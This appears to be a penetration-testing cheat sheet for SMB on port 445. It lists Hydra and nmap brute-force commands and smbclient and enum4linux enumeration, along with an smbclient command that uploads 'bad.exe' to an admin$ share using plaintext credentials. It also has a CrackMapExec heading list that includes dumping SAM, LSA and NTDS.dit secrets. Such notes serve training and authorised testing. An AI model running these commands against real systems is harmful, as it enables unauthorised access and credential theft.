SMB - 445

SMB Bruteforcing

  • Hydra Command: Execute SMB brute forcing using username and password lists.

  • Nmap Command: Nmap script for SMB brute force using username and password files.

hydra -L /home/pentester/Wordlists/Usernames.txt -P /home/pentester/Wordlists/Passwords.txt -vV 172.19.19.70 smb
nmap -p445 172.25.30.4 --script smb-brute.nse --script-args userdb=/home/kali/wordlistcpent/usernames,passdb=/home/kali/wordlistcpent/passwords --script-args ssh-brute.timeout=4s 

SMB Enumeration

nmap -p 445,138,139 --script=*smb*
# Connect to a share via SMB
smbclient \\\\IP\\c$ -U Administrator

# Extract interesting domain and computer info with Enum4linux
Enum4linux -a -u 'Administrator' -p 'iloveu'

# Share file via smbclient
smbclient -c 'put bad.exe' -U t1_leonard.summers -W ZA '//thisis.za.tryhackme.com/admin$' EZpass4ever

# list shares
smbclient -L 10.129.170.128 -U Administrator  

# NAVIGATE THROUGH UNPROTECTED C* SHARE  
smbclient \\\\10.10.10.131\\ADMIN$ -U Administrator 
 
# List shares without asking for a password - 
smbclient -N -L 10.0.0.43 

# Show all NetBIOS names and functions of the IP
Nbtstat -A IP

Impackets

CrackMapExec

CrackMapExec (CME) can be used to enumerate SMB sessions, Active Directory group memberships, and SMB shares. Below are some typical usage examples:

1. Map network hosts

2. Generate Relay List

3. Enumerate shares and access

4. Enumerate active sessions

5. Enumerate disks

6. Enumerate logged on users

7. Enumerate domain users

8. Enumerate users by bruteforcing RID

9. Enumerate domain groups

10. Enumerate local groups

11. Obtain domain password policy

12. Authentication with User/Password

13. Authentication with User/Hash

14. Null Sessions

15. Using Username/Password Lists

16. Authentication with Local Auth

17. Dump SAM hashes

18. Dump LSA secrets

19. Dump NTDS.dit

20. Spidering Shares

21. Command Execution

22. WMI Query Execution

23. WMI Query Execution in a Specific Namespace

This command allows you to execute WMI queries within the root\\cimv2 namespace, which is commonly used for system management information. L

Last updated